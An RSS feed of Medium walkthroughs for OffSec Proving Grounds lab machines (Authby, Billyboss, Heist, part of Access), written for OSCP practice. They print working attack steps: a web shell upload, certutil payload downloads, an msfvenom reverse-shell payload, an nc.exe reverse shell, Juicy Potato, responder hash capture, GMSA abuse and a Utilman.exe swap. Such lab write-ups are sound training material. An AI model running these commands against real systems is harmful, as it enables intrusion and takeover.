<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Makoyi on Medium]]></title>
        <description><![CDATA[Stories by Makoyi on Medium]]></description>
        <link>https://medium.com/@Makoyi?source=rss-c3ac18390674------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IcNI40I_raZrCvbCjiluWQ.jpeg</url>
            <title>Stories by Makoyi on Medium</title>
            <link>https://medium.com/@Makoyi?source=rss-c3ac18390674------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:05:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Makoyi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Authby]]></title>
            <link>https://infosecwriteups.com/proving-grounds-practice-authby-3da2d1396a23?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/3da2d1396a23</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Mon, 17 Aug 2026 20:38:16 GMT</pubDate>
            <atom:updated>2026-08-17T20:38:16.954Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*MKBYIhJzaVQdidaJH8qC6g.jpeg" /><figcaption>AI Image created by <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Offsec’s Proving Grounds Practice box Authby is rated intermediate, however the community disagrees and has given the box a rating of hard. I found the box challenging, but I wouldn’t necessarily agree with the hard rating that the community gave it. The box starts off with abusing default credentials to expose user credentials to a web application, where a web shell can be placed to achieve a foothold on the machine. Privilege escalation is gained by abusing user privileges to catch a reverse shell as NT Authority\System.</p><p>— NMAP Scan</p><pre>makoyi@kali 01/08/26 17:47 - 192.168.45.218 [~] <br>❯ sudo nmap -Pn -n 192.168.168.46 -sC -sV -p- --open <br>[sudo] password for makoyi: <br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-01 17:48 -0500<br>Nmap scan report for 192.168.168.46<br>Host is up (0.098s latency).<br>Not shown: 65531 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE       VERSION<br>21/tcp   open  ftp           zFTPServer 6.0 build 2011-10-17<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| total 9680<br>| ----------   1 root     root      5610496 Oct 18  2011 zFTPServer.exe<br>| ----------   1 root     root           25 Feb 10  2011 UninstallService.bat<br>| ----------   1 root     root      4284928 Oct 18  2011 Uninstall.exe<br>| ----------   1 root     root           17 Aug 13  2011 StopService.bat<br>| ----------   1 root     root           18 Aug 13  2011 StartService.bat<br>| ----------   1 root     root         8736 Nov 09  2011 Settings.ini<br>| dr-xr-xr-x   1 root     root          512 Aug 02 05:52 log<br>| ----------   1 root     root         2275 Aug 08  2011 LICENSE.htm<br>| ----------   1 root     root           23 Feb 10  2011 InstallService.bat<br>| dr-xr-xr-x   1 root     root          512 Nov 08  2011 extensions<br>| dr-xr-xr-x   1 root     root          512 Nov 08  2011 certificates<br>|_dr-xr-xr-x   1 root     root          512 Aug 02  2024 accounts<br>242/tcp  open  http          Apache httpd 2.2.21 ((Win32) PHP/5.3.8)<br>|_http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8<br>| http-auth: <br>| HTTP/1.1 401 Authorization Required\x0D<br>|_  Basic realm=Qui e nuce nuculeum esse volt, frangit nucem!<br>|_http-title: 401 Authorization Required<br>3145/tcp open  zftp-admin    zFTPServer admin<br>3389/tcp open  ms-wbt-server Microsoft Terminal Service<br>|_ssl-date: 2026-08-01T22:52:59+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=LIVDA<br>| Not valid before: 2024-08-01T10:50:21<br>|_Not valid after:  2025-01-31T10:50:21<br>| rdp-ntlm-info: <br>|   Target_Name: LIVDA<br>|   NetBIOS_Domain_Name: LIVDA<br>|   NetBIOS_Computer_Name: LIVDA<br>|   DNS_Domain_Name: LIVDA<br>|   DNS_Computer_Name: LIVDA<br>|   Product_Version: 6.0.6001<br>|_  System_Time: 2026-08-01T22:52:54+00:00<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 298.89 seconds</pre><p>The first thing that caught my eye was the anonymous authentication to port 21. After logging in and doing some exploring through the log and accounts directories, there turned out to be nothing too exciting that anonymous had access to.</p><p>I then turned my attention to port 242, but without credentials to authorize to the web application, there wasn’t much to do yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*fFN4LiXVtkW1UvBZH7aumA.png" /></figure><p>Here, I turned my attention towards port 3145 hosting zFTPserver admin. While I was searching for potential vulnerabilities, I found that the default credentials were admin:admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*8l7ImIbdtsXovtpGM_gxgQ.png" /></figure><p>Using those default credentials on port 21, led to the exposure of user credentials for the web application on port 242.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*iSzDHFzcFqN62KEKZB54rw.png" /></figure><p>After cracking the password using hashcat, we find that the credentials are offsec:elite.</p><pre>hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*QCISYizGrRzohy9eXzGqBQ.png" /></figure><p>Now that we have access to the web application with the credentials found, we create a web shell. My go to, especially on Windows machines, is PHP Ivan Sincek from <a href="https://www.revshells.com/">https://www.revshells.com/</a></p><p>By using put, while logged in as admin in the ftp server, we upload our web shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*BsIukrhzHNPJkJQkXfFQMw.png" /></figure><p>Start a netcat listener and log in using the credentials we just found, and go to the extension for the web shell just uploaded.</p><pre>http://192.168.168.46:242/shell.php</pre><p>Checking the listener, we have a web shell as apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*9uJzcMcEEARJzvGDKVvNAw.png" /></figure><p>You can find the the first flag, local.txt, at C:\Users\apache\Desktop\local.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*VZ-IBr9Ndbcnuw0e4T03Jw.png" /></figure><p>The first thing that I like to do once I gain access as a user, is to check the privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*_cDe5CILOPBF8Cql9eLL-Q.png" /></figure><p>Well look at that. SeImpersonatePrivilege is enabled. That means we have a clear path for privilege escalation. As a good rule of thumb, before blindly trying every potato or PrintSpoofer at your disposal, it is a good idea to run systeminfo to see what architecture the machine you’re working on is running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*4QARs63PnDPH8X2QfhO34Q.png" /></figure><p>Based on the output above, we can use Juicy.Potato.x86.exe.</p><p><a href="https://github.com/ivanitlearning/Juicy-Potato-x86/releases">Releases · ivanitlearning/Juicy-Potato-x86</a></p><p>Using certutil, upload Juicy Potato to the Windows machine.</p><pre>certutil -urlcache -f -split http://192.168.45.218/temp/Juicy.Potato.x86.exe</pre><p>Looking at the documentation to execute Juicy Potato, there are mandatory arguments that have to be used. Createprocess call, program to execute, and COM server listening port. I would also recommend using the optional argument -c for the CLSID, I went for the first one on the list out of the juicy-potato documentation.</p><p><a href="https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/README.md">juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/README.md at master · ohpe/juicy-potato</a></p><p>I wanted Juicy Potato to throw a reverse shell back to my Linux machine, so the first thing that I did was create an .exe using msfvenom.</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.218 LPORT=8888 -f exe -o shell.exe -a x86 --platform windows </pre><p>Then using certutil, upload the shell.exe and Juicy.Potato.x86.exe to the windows machine.</p><pre>certutil -urlcache -f -split http://192.168.45.218/temp/shell.exe</pre><p>Now start up a netcat listener to the port from the created reverse shell, in my case port 8888. Now that we have a program to execute, we fill out the rest of the arguments.</p><pre>.\Juicy.Potato.x86.exe -l 8888 -p C:\wamp\bin\apache\Apache2.2.21\shell.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}</pre><p>Checking the netcat listener, we are now NT Authority\System. You can find the final flag at C:\Users\Administrator\Desktop\proof.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*R9kECskRot0Ie5Zuhvdg3Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3da2d1396a23" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/proving-grounds-practice-authby-3da2d1396a23">Proving Grounds — Practice — Authby</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Billyboss]]></title>
            <link>https://medium.com/@Makoyi/proving-grounds-practice-billyboss-fd566d8b74e3?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd566d8b74e3</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Mon, 30 Mar 2026 22:05:29 GMT</pubDate>
            <atom:updated>2026-03-30T22:05:29.872Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds — Practice — Billyboss</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*qnHCfQMhdHL-ANh4hARkug.jpeg" /><figcaption>AI Image created by <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Proving Grounds Practice box Billyboss, is rated intermediate by Offsec, but the community disagrees and has rated it hard. Privilege escalation was the easiest part of this machine, with the foothold being the challenging part, in my opinion. The box starts with an RCE vulnerability and escalated through a misconfigured privilege. With that being said let’s get into it.</p><p>— NMAP Scan</p><pre>makoyi@kali 27/03/26 18:44 [~] <br>❯ sudo nmap -Pn -n 192.168.186.61 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 18:45 -0500<br>Nmap scan report for 192.168.186.61<br>Host is up (0.13s latency).<br>Not shown: 63941 closed tcp ports (reset), 1580 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>21/tcp    open  ftp           Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>|_http-title: BaGet<br>|_http-cors: HEAD GET POST PUT DELETE TRACE OPTIONS CONNECT PATCH<br>|_http-server-header: Microsoft-IIS/10.0<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds?<br>5040/tcp  open  unknown<br>7680/tcp  open  pando-pub?<br>8081/tcp  open  http          Jetty 9.4.18.v20190429<br>|_http-server-header: Nexus/3.21.0-05 (OSS)<br>| http-robots.txt: 2 disallowed entries <br>|_/repository/ /service/<br>|_http-title: Nexus Repository Manager<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49669/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2026-03-27T23:49:14<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled but not required<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 254.99 seconds</pre><p>Off of the bat, the first thing that caught my attention was port 8081. I searched for Nexus 3.21.05–05 online, and one of the first things that I came across was this exploit on exploit-db.</p><p><a href="https://www.exploit-db.com/exploits/49385">OffSec&#39;s Exploit Database Archive</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*zcb4PbbI_pmlRMRce45kTA.png" /></figure><p>Looking at the code, we only need to change these four values to fit what we need. After changing the url, I left the other three values to test if the exploit worked and found that the username and password were incorrect. I looked online and tried a few sets of credentials that I saw online, but nothing worked. As I was looking for ideas, I came across someone mentioning there may be something in the seclists, so I went and checked and found two sets of credentials there to try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*IOHI_UJZygjFkI4AoP5fqQ.png" /></figure><p>I had already come across someone on a forum saying that admin:admin123 would work earlier, and had found out that was not the case this time, so I tried nexus:nexus to find that that worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*kFZoCjpduSjFLPHosSpqIA.png" /></figure><p>Ok, now that the exploit works with those credentials, it’s time to set up a shell.</p><pre>cp /usr/share/windows-resources/binaries/nc.exe .</pre><p>Now that we have a copy of nc.exe, it’s time to transfer it over using the exploit and a python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*4qIc7779SMw2StDLYsPc1w.png" /></figure><p>Alright, shows on our python server that the file was transferred. Now we just need to execute nc.exe back to our machine.</p><pre>CMD=&#39;.\nc.exe -e cmd 192.168.45.249 8081&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*fkRcMoPEIXqruRtVfNT87g.png" /></figure><p>That was not the response I was expecting. I thought that maybe the code misread the backslash, so I added another one, and got the same response. As it turns out, four backslashes is what you needed to get it to execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OrATcl4WmPxlzbFON8SrEQ.png" /></figure><p>We find our local.txt file on the desktop of Nathan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*AO9_LBoW7eyTEWpM_yW9BQ.png" /></figure><p>The first thing I do when I first log into a user, is to check what privileges they have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*V9osD2HQYnYeCyYZEOfYSQ.png" /></figure><p>Well look at that, SeImpersonate is enabled. I tried to use PrintSpoofer at first and failed, so I sent over GodPotato and cracked it immediately, finding the proof.txt file on the Administrator’s Desktop.</p><p><a href="https://github.com/BeichenDream/GodPotato/releases">Releases · BeichenDream/GodPotato</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*UVsQbAuRoBzUAKESqVLK2Q.png" /></figure><p>Thank you for reading!</p><p>I hope this walk-through helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd566d8b74e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Heist]]></title>
            <link>https://infosecwriteups.com/proving-grounds-practice-heist-ed0bef92cc02?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed0bef92cc02</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Mon, 30 Mar 2026 00:06:47 GMT</pubDate>
            <atom:updated>2026-03-30T07:07:57.901Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds — Practice — Heist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FP70hJBbc-cMqYIeHVIwJw.jpeg" /><figcaption>AI image created by <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Proving Grounds Practice box Heist is rated hard by Offsec, but the community disagrees and rated it very hard. I originally saw this box on TJ Null’s OSCP prep list for Active Directory practice, and I would have to agree that it is great practice. The box starts out with a SSRF vulnerability in the web application, then leveraging GMSA to escalate privileges, and finishing it off with SeRestorePrivilege to escalate to Administrator. With that being said, let’s crack into the box.</p><p>— NMAP Scan</p><pre>makoyi@kali 27/03/26 11:02 [~] <br>❯ sudo nmap -Pn -n 192.168.148.165 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-27 11:02 -0500<br>Nmap scan report for 192.168.148.165<br>Host is up (0.14s latency).<br>Not shown: 65513 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-27 16:09:10Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: HEIST<br>|   NetBIOS_Domain_Name: HEIST<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: heist.offsec<br>|   DNS_Computer_Name: DC01.heist.offsec<br>|   DNS_Tree_Name: heist.offsec<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-03-27T16:10:01+00:00<br>|_ssl-date: 2026-03-27T16:10:40+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.heist.offsec<br>| Not valid before: 2026-03-26T16:00:07<br>|_Not valid after:  2026-09-25T16:00:07<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)<br>|_http-server-header: Werkzeug/2.0.1 Python/3.9.0<br>|_http-title: Super Secure Web Browser<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc         Microsoft Windows RPC<br>49677/tcp open  msrpc         Microsoft Windows RPC<br>49703/tcp open  msrpc         Microsoft Windows RPC<br>49765/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2026-03-27T16:10:03<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 504.87 seconds</pre><p>The web server on port 8080 was the first thing that stood out to me, with nothing else in the scan standing out too much, I navigated to the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YM5324CoMzzDyv4nm4KHmg.png" /></figure><p>Now that looks interesting. I started a python server and input my IP address into the input field, to see what would happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*avVMZGN89u6e4gAufw6Bzw.png" /></figure><p>Ok, well that’s a good sign that we can take advantage of the web application. After a bunch of trial and error attempting to gain reverse shells from various payloads and failing, I decided to pivot and set up responder, to see if there was any other information being sent.</p><pre>makoyi@kali 27/03/26 11:29 [~] <br>❯ sudo responder -I tun0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*WXZrnARU25r9HDQ1zdNoIg.png" /></figure><p>Alright! Pivoting seemed to work and gave us an NTLM hash that we can use John the Ripper to crack.</p><pre>makoyi@kali 27/03/26 11:34 [~] <br>❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash  <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])<br>Will run 4 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>california       (enox)     <br>1g 0:00:00:00 DONE (2026-03-27 11:34) 100.0g/s 204800p/s 204800c/s 204800C/s 123456..lovers1<br>Use the &quot;--show --format=netntlmv2&quot; options to display all of the cracked passwords reliably<br>Session completed.</pre><p>Now that we have a username and a password, let’s see what we can do with it. I started by enumerated smb to see if the password would work, and success!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*zBiubyTUbihZ5LZLrE6uug.png" /></figure><p>There wasn’t anything too interesting at first glance in the smb shares, so I decided to see if the credentials could be used for any other services. I started with winrm with some wishful thinking, and look at that, it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*1aNCX78HRD_Cl3yD2QAbDQ.png" /></figure><p>Now that we’re logged in and grabbed our local.txt file, it’s time to see if we can escalate to a higher account. After awhile of searching for a path, checking whoami /priv, checking SPN, and attempting to use PowerUp.ps1, the most I could find is that there’s another account named svc_apache$. I figured that at this point, I should go ahead and use bloodhound to see if it can help me find a target path.</p><pre>makoyi@kali 27/03/26 11:52 [~] <br>❯ bloodhound-python -d heist.offsec -u &#39;enox&#39; -p &#39;california&#39; -dc &#39;192.168.148.165&#39; -c all</pre><p>The first thing I like to do after adding the account to owned, is to check what outbound controls the account has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KMTbar5sCAsJMj86r77_Q.png" /></figure><p>Looks like enox is a member of the web admins group with ReadGMSAPassword of the svc_apache$ user. I decided to use bloodhound’s suggested way of using windows, so I downloaded a precompiled GMSAPasswordReader and used it to grab the rc4 hash of svc_apache$.</p><p><a href="https://github.com/expl0itabl3/Toolies/blob/master/GMSAPasswordReader.exe">Toolies/GMSAPasswordReader.exe at master · expl0itabl3/Toolies</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*L3aK-puuuQocElfQhgDmtQ.png" /></figure><p>Now, we pass the hash using evil-winrm and check our privileges, to see what we can do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*s0StHXBogxNtElKXQyxn7g.png" /></figure><p>SeRestorePrivileges is an interesting find, but I’m going to keep looking around to see if there’s anything else interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*76qV4Wml2I6YUjeTlrPoIg.png" /></figure><p>Well, that didn’t take long to find something interesting, it was inside the directory we logged into. By using cat on the file, it gives a helpful hint on how to escalate our privileges using SeRestore. By going to the github address listed, it gives us step by step instructions on how to abuse SeRestore.</p><p><a href="https://github.com/gtworek/Priv2Admin">GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*pJGagTh6xvE1-G0JX3h7gw.png" /></figure><p>Using evil-winrm, we follow along with the steps.</p><pre>*Evil-WinRM* PS C:\Users\svc_apache$\Documents&gt; cd C:\Windows\System32<br>*Evil-WinRM* PS C:\Windows\System32&gt; ren Utilman.exe Utilman.old<br>*Evil-WinRM* PS C:\Windows\System32&gt; ren cmd.exe Utilman.exe</pre><p>Now, we use rdesktop</p><pre>rdesktop 192.168.148.165</pre><p>Once it has booted up, we press Windows + U to open a command terminal as Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*UVsQbAuRoBzUAKESqVLK2Q.png" /></figure><p>Thank you for reading!</p><p>I hope this walk-through helps, stay ethical, and happy hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed0bef92cc02" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/proving-grounds-practice-heist-ed0bef92cc02">Proving Grounds — Practice — Heist</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Access]]></title>
            <link>https://infosecwriteups.com/proving-grounds-practice-access-a6e6a89f4ae6?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6e6a89f4ae6</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 15:47:36 GMT</pubDate>
            <atom:updated>2026-03-28T11:23:23.458Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds — Practice — Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ntOyFxb7uLs6XFATvaQQwQ.jpeg" /><figcaption>AI Image created by <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Proving Grounds Practice machine Access is rated intermediate by Offsec, but the community seems to disagree, with a very hard rating. Access is an active directory based box, making it perfect practice for the OSCP exam. The box starts with a foothold through a web app, followed by kerberoasting and abusing a service account’s privileges for privilege escalation. With that being said, let’s crack into the box.</p><p>— NMAP Scan</p><pre>makoyi@kali 26/03/26 19:30 [~] <br>❯ sudo nmap -Pn -n 192.168.185.187 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 21:17 -0500<br>Nmap scan report for 192.168.185.187<br>Host is up (0.082s latency).<br>Not shown: 65462 closed tcp ports (reset), 46 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)<br>|_http-title: Access The Event<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-27 02:17:52Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec, Site: Default-First-Site-Name)<br>443/tcp   open  ssl/http      Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)<br>| tls-alpn: <br>|_  http/1.1<br>|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7<br>|_http-title: Access The Event<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009-11-10T23:48:47<br>|_Not valid after:  2019-11-08T23:48:47<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49670/tcp open  msrpc         Microsoft Windows RPC<br>49673/tcp open  msrpc         Microsoft Windows RPC<br>49678/tcp open  msrpc         Microsoft Windows RPC<br>49691/tcp open  msrpc         Microsoft Windows RPC<br>49701/tcp open  msrpc         Microsoft Windows RPC<br>49719/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   